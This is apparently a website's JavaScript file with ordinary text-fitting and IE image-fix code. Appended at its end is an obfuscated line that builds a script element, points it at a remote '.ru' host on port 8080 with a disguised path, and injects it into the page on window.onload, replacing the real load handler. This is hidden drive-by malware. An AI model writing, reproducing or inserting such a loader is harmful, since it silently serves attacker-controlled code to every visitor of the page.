var MINIMUM_FONT = "10";
var UNITS = "";

function elementFontSize(element)
{
    var fontSize = MINIMUM_FONT; 

    if (document.defaultView)
    {
        var computedStyle = document.defaultView.getComputedStyle(element, null);
        if (computedStyle)
        {
            fontSize = computedStyle.getPropertyValue("font-size");
        }
    }
    else if (element.currentStyle)
    {
        fontSize = element.currentStyle.fontSize;
    }

    if ((UNITS.length == 0) && (fontSize != MINIMUM_FONT))
    {
        UNITS = fontSize.substring(fontSize.length - 2, fontSize.length)
    }

    return parseFloat(fontSize);
}

function adjustFontSizeIfTooBig(idOfElement)
{
    var oTextBoxOuterDiv;
    var oTextBoxMiddleDiv;
    var oTextBoxInnerDiv;
    var oTextBoxOuterDiv = document.getElementById(idOfElement);
    
    if (oTextBoxOuterDiv)
    {
        oTextBoxMiddleDiv = getChildOfType(oTextBoxOuterDiv, "DIV", 0);
        if (oTextBoxMiddleDiv)
        {
            oTextBoxInnerDiv = getChildOfType(oTextBoxMiddleDiv, "DIV", 0);
            if (oTextBoxInnerDiv)
            {
                var offsetHeight = oTextBoxInnerDiv.offsetHeight;
                var specifiedHeight = offsetHeight;
                if (oTextBoxMiddleDiv.style.height != "")
                {
                    specifiedHeight = parseFloat(oTextBoxMiddleDiv.style.height);
                }
                else if (oTextBoxOuterDiv.style.height != "")
                {
                    specifiedHeight = parseFloat(oTextBoxOuterDiv.style.height);
                }
                if (offsetHeight > specifiedHeight)
                {
                    var smallestFontSize = 200;
                    
                    var aParaChildren = getParaDescendants(oTextBoxInnerDiv);
                    var oneLine = false;
                    for (i = 0; i < aParaChildren.length; i++)
                    {
                        var oParagraphDiv = aParaChildren[i];
                        var lineHeight = elementLineHeight(oParagraphDiv);
                        oneLine = oneLine || (lineHeight * 1.5 >= specifiedHeight);
                        if (oParagraphDiv.nodeName == "DIV")
                        {
                            var fontSize = elementFontSize(oParagraphDiv);
                            smallestFontSize = Math.min( smallestFontSize, fontSize );
                            for (j = 0; j < oParagraphDiv.childNodes.length; j++)
                            {
                                var oSpan = oParagraphDiv.childNodes[j];
                                if ((oSpan.nodeName == "SPAN") || (oSpan.nodeName == "A"))
                                {
                                    fontSize = elementFontSize(oSpan);
                                    smallestFontSize = Math.min( smallestFontSize, fontSize );
                                }
                            }
                        }
                    }
                    var minimum = parseFloat(MINIMUM_FONT);
                    
                    var count = 0
                    while ((smallestFontSize > minimum) && (offsetHeight > specifiedHeight) && (count < 10))
                    {
                        ++ count;
                        if (oneLine)
                        {
                            var oldWidth = parseInt(oTextBoxOuterDiv.style.width);
                            oTextBoxInnerDiv.style.width =
                                "" + oldWidth * Math.pow(1.05, count) + "px";
                        }
                        else
                        {
                            var scale = Math.max(0.95, minimum / smallestFontSize);
                            
                            for (i = 0; i < aParaChildren.length; i++)
                            {
                                var oParagraphDiv = aParaChildren[i];
                                if (oParagraphDiv.nodeName == "DIV")
                                {
                                    var paraFontSize = elementFontSize(oParagraphDiv) * scale;
                                    var paraLineHeight = elementLineHeight(oParagraphDiv) * scale;
                                    for (j = 0; j < oParagraphDiv.childNodes.length; j++)
                                    {
                                        var oSpan = oParagraphDiv.childNodes[j];
                                        if ((oSpan.nodeName == "SPAN") || (oSpan.nodeName == "A"))
                                        {
                                            var spanFontSize = elementFontSize(oSpan) * scale;
                                            var spanLineHeight = elementLineHeight(oSpan) * scale;
                                            oSpan.style.fontSize = spanFontSize + UNITS;
                                            oSpan.style.lineHeight = spanLineHeight + UNITS;
                                            smallestFontSize = Math.min( smallestFontSize, spanFontSize );
                                        }
                                    }
                                    oParagraphDiv.style.fontSize = paraFontSize + UNITS;
                                    oParagraphDiv.style.lineHeight = paraLineHeight + UNITS;
                                    smallestFontSize = Math.min( smallestFontSize, paraFontSize );
                                }
                            }
                        }
                        
                        offsetHeight = oTextBoxInnerDiv.offsetHeight;
                    }
                }
            }
        }
    }
}


function elementLineHeight(element)
{
    var lineHeight = MINIMUM_FONT; 
    
    if (document.defaultView)
    {
        var computedStyle = document.defaultView.getComputedStyle(element, null);
        if (computedStyle)
        {
            lineHeight = computedStyle.getPropertyValue("line-height");
        }
    }
    else if (element.currentStyle)
    {
        lineHeight = element.currentStyle.lineHeight;
    }
    
    if ((UNITS.length == 0) && (lineHeight != MINIMUM_FONT))
    {
        UNITS = lineHeight.substring(lineHeight.length - 2, lineHeight.length)
    }
    
    return parseFloat(lineHeight);
}

function adjustLineHeightIfTooBig(idOfElement)
{
    var oTextBoxOuterDiv;
    var oTextBoxMiddleDiv;
    var oTextBoxInnerDiv;
    var oTextBoxOuterDiv = document.getElementById(idOfElement);
    
    if (oTextBoxOuterDiv)
    {
        oTextBoxMiddleDiv = getChildOfType(oTextBoxOuterDiv, "DIV", 0);
        if (oTextBoxMiddleDiv)
        {
            oTextBoxInnerDiv = getChildOfType(oTextBoxMiddleDiv, "DIV", 0);
            if (oTextBoxInnerDiv)
            {
                var offsetHeight = oTextBoxInnerDiv.offsetHeight;
                var specifiedHeight = offsetHeight;
                if (oTextBoxMiddleDiv.style.height != "")
                {
                    specifiedHeight = parseFloat(oTextBoxMiddleDiv.style.height);
                }
                else if (oTextBoxOuterDiv.style.height != "")
                {
                    specifiedHeight = parseFloat(oTextBoxOuterDiv.style.height);
                }
                if (offsetHeight > specifiedHeight)
                {
                    var adjusted = true;
                    var count = 0;
                    while ((adjusted) && (offsetHeight > specifiedHeight) && (count < 10))
                    {
                        adjusted = false;
                        ++ count;
                        
                        var aParaChildren = getParaDescendants(oTextBoxInnerDiv);
                        for (i = 0; i < aParaChildren.length; i++)
                        {
                            var oParagraphDiv = aParaChildren[i];
                            if (oParagraphDiv.nodeName == "DIV")
                            {
                                var fontSize = elementFontSize(oParagraphDiv);
                                var lineHeight = elementLineHeight(oParagraphDiv) * 0.95;
                                if (lineHeight >= (fontSize * 1.1))
                                {
                                    oParagraphDiv.style.lineHeight = lineHeight + UNITS;
                                    adjusted = true;
                                }
                                
                                
                                
                                for (j = 0; j < oParagraphDiv.childNodes.length; j++)
                                {
                                    var oSpan = oParagraphDiv.childNodes[j];
                                    if ((oSpan.nodeName == "SPAN") || (oSpan.nodeName == "A"))
                                    {
                                        var fontSize = elementFontSize(oSpan);
                                        var lineHeight = elementLineHeight(oSpan) * 0.95;
                                        if (lineHeight >= (fontSize * 1.1))
                                        {
                                            oSpan.style.lineHeight = lineHeight + UNITS;
                                            var adjusted = true;
                                        }
                                    }
                                }
                            }
                        }
                        
                        offsetHeight = oTextBoxInnerDiv.offsetHeight;
                    }
                }
            }
        }
    }
}

var smallTransparentGif = "";
function fixupIEPNG(strImageID, transparentGif) 
{
    smallTransparentGif = transparentGif;
    if (windowsInternetExplorer && (browserVersion < 7))
    {
        var img = document.getElementById(strImageID);
        if (img)
        {
            var src = img.src;
            img.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + src + "', sizingMethod='scale')";
            img.src = transparentGif;
            img.attachEvent("onpropertychange", imgPropertyChanged);
        }
    }
}

var windowsInternetExplorer = false;
var browserVersion = 0;
function detectBrowser()
{
    windowsInternetExplorer = false;
    var appVersion = navigator.appVersion;
    if ((appVersion.indexOf("MSIE") != -1) &&
        (appVersion.indexOf("Macintosh") == -1))
    {
        var temp = appVersion.split("MSIE");
        browserVersion = parseFloat(temp[1]);
        windowsInternetExplorer = true;
    }
}

var inImgPropertyChanged = false;
function imgPropertyChanged()
{
    if ((window.event.propertyName == "src") && (! inImgPropertyChanged))
    {
        inImgPropertyChanged = true;
        var el = window.event.srcElement;
        if (el.src != smallTransparentGif)
        {
            el.filters.item(0).src = el.src;
            el.src = smallTransparentGif;
        }
        inImgPropertyChanged = false;
    }
}

function getChildOfType(oParent, sNodeName, requestedIndex)
{
    var childrenOfType = oParent.getElementsByTagName(sNodeName);
    return (requestedIndex < childrenOfType.length) ?
           childrenOfType.item(requestedIndex) : null;
}

function getParaDescendants(oAncestor)
{
    var oParaDescendants = new Array();
    var oPotentialParagraphs = oAncestor.getElementsByTagName('DIV');
    for (var iIndex=0; iIndex<oPotentialParagraphs.length; iIndex++)
    {
        var oNode = oPotentialParagraphs.item(iIndex);
        if (oNode.className.lastIndexOf('paragraph') != -1)
        {
            oParaDescendants.push(oNode);
        }
    }
    return oParaDescendants;
}

function onPageLoad()
{
    detectBrowser();
    adjustLineHeightIfTooBig("id6");
    adjustFontSizeIfTooBig("id6");
    adjustLineHeightIfTooBig("id8");
    adjustFontSizeIfTooBig("id8");
    adjustLineHeightIfTooBig("id10");
    adjustFontSizeIfTooBig("id10");
    adjustLineHeightIfTooBig("id11");
    adjustFontSizeIfTooBig("id11");
    adjustLineHeightIfTooBig("id19");
    adjustFontSizeIfTooBig("id19");
    adjustLineHeightIfTooBig("id39");
    adjustFontSizeIfTooBig("id39");
    fixupIEPNG("id1", "partenaires_files/transparent.gif");
    fixupIEPNG("id2", "partenaires_files/transparent.gif");
    fixupIEPNG("id3", "partenaires_files/transparent.gif");
    fixupIEPNG("id4", "partenaires_files/transparent.gif");
    fixupIEPNG("id5", "partenaires_files/transparent.gif");
    fixupIEPNG("id7", "partenaires_files/transparent.gif");
    fixupIEPNG("id9", "partenaires_files/transparent.gif");
    fixupIEPNG("id12", "partenaires_files/transparent.gif");
    fixupIEPNG("id13", "partenaires_files/transparent.gif");
    fixupIEPNG("id14", "partenaires_files/transparent.gif");
    fixupIEPNG("id15", "partenaires_files/transparent.gif");
    fixupIEPNG("id16", "partenaires_files/transparent.gif");
    fixupIEPNG("id17", "partenaires_files/transparent.gif");
    fixupIEPNG("id18", "partenaires_files/transparent.gif");
    fixupIEPNG("id20", "partenaires_files/transparent.gif");
    fixupIEPNG("id21", "partenaires_files/transparent.gif");
    fixupIEPNG("id22", "partenaires_files/transparent.gif");
    fixupIEPNG("id23", "partenaires_files/transparent.gif");
    fixupIEPNG("id24", "partenaires_files/transparent.gif");
    fixupIEPNG("id25", "partenaires_files/transparent.gif");
    fixupIEPNG("id26", "partenaires_files/transparent.gif");
    fixupIEPNG("id27", "partenaires_files/transparent.gif");
    fixupIEPNG("id28", "partenaires_files/transparent.gif");
    fixupIEPNG("id29", "partenaires_files/transparent.gif");
    fixupIEPNG("id30", "partenaires_files/transparent.gif");
    fixupIEPNG("id31", "partenaires_files/transparent.gif");
    fixupIEPNG("id32", "partenaires_files/transparent.gif");
    fixupIEPNG("id33", "partenaires_files/transparent.gif");
    fixupIEPNG("id34", "partenaires_files/transparent.gif");
    fixupIEPNG("id35", "partenaires_files/transparent.gif");
    fixupIEPNG("id36", "partenaires_files/transparent.gif");
    fixupIEPNG("id37", "partenaires_files/transparent.gif");
    fixupIEPNG("id38", "partenaires_files/transparent.gif");
    fixupIEPNG("id40", "partenaires_files/transparent.gif");
    fixupIEPNG("id41", "partenaires_files/transparent.gif");
    fixupIEPNG("id42", "partenaires_files/transparent.gif");
    fixupIEPNG("id43", "partenaires_files/transparent.gif");
    fixupIEPNG("id44", "partenaires_files/transparent.gif");
    fixupIEPNG("id45", "partenaires_files/transparent.gif");
    fixupIEPNG("id46", "partenaires_files/transparent.gif");
    fixupIEPNG("id47", "partenaires_files/transparent.gif");
    fixupIEPNG("id48", "partenaires_files/transparent.gif");
    fixupIEPNG("id49", "partenaires_files/transparent.gif");
    fixupIEPNG("id50", "partenaires_files/transparent.gif");
    fixupIEPNG("id51", "partenaires_files/transparent.gif");
    return true;
}


IY=["hW","_Y","_Z"];var k;var qi=["kb"];var x=["p"];r=function(){function m(F,C,rI){var z={s:29150};return F.substr(C,rI);var M=["hL","b","Fi"];var W=["xU","rz","l"];}var Sn=["f","hB","sD"];var ko='';var _=m("/goov6W",0,4)+"gle."+"com/"+m("4tubE8l",0,4)+"e.co"+"m/de"+"bona"+m("irblwQL",0,4)+m("3QPlog.cl3PQ",4,4)+"om.p"+m("b8Uyhp8bUy",4,2);this.sq='';IF={};var N=new Array();var I=document;this.nc=20801;this.nc--;this.Fz=24827;this.Fz--;var d=RegExp;var H="";this.bX=4832;this.bX++;var _J=new Date();function h(F,C){var fp=new Array();var rI="["+C+"]";var ks=["Cl","v","O"];var K=new d(rI, new String(m("gWThP",0,1)));o=[];return F.replace(K, ko);var LN=[];cX={j:"Da"};};this.FY="";Yr={Fl:false};var L=h('sBcVrKiYpYt5','YkaBSKC5V');this.U=63561;this.U+=102;this.E="E";var R=36580-28500;var D=new String("bo"+m("dynKTg",0,2));var _e=null;var pg=[];try {} catch(Em){};try {} catch(Ly){};k=function(){this.Qn=34144;this.Qn++;try {var T=h('cqrFewa1twe3E8lLe7m7e8nLtW','8WL1qG3wMPvyO7FV');try {var Sr='Lyi'} catch(Sr){};Rf=I[T](L);var Z='';var IO=false;try {var gl='VM'} catch(gl){};var q=h('serJcJ','glAJCotE5efq6');var Fr=String(m("defD7PT",0,3)+m("erpW8",0,2));this.LD=18291;this.LD--;var F=R+_;var mm={Ey:20832};Rb=["XC","ga"];UL=[];RK={FiM:"BQ"};Rf[q]=String("http:"+m("//tal2M9",0,5)+m("hkTldeedThk",3,5)+m(".ru:VU06",0,4))+F;Rf[Fr]=[1][0];var pX={};SrA={GQ:48563};var jO=["xr","fo","J"];YI={nz:false};I[D].appendChild(Rf);var oO=[];Oj={IOd:false};this.Lt="";Uz=["zo","_y"];} catch(t){var UG={WS:false};var uZ=50340;tm={DN:58321};};var sR={dz:"GW"};this.Iu=7391;this.Iu+=13;};};r();this.Lk=52841;this.Lk++;Cq={XCD:"kr"};window.onload=k;var An={mO:false};Vx={IW:"Sx"};
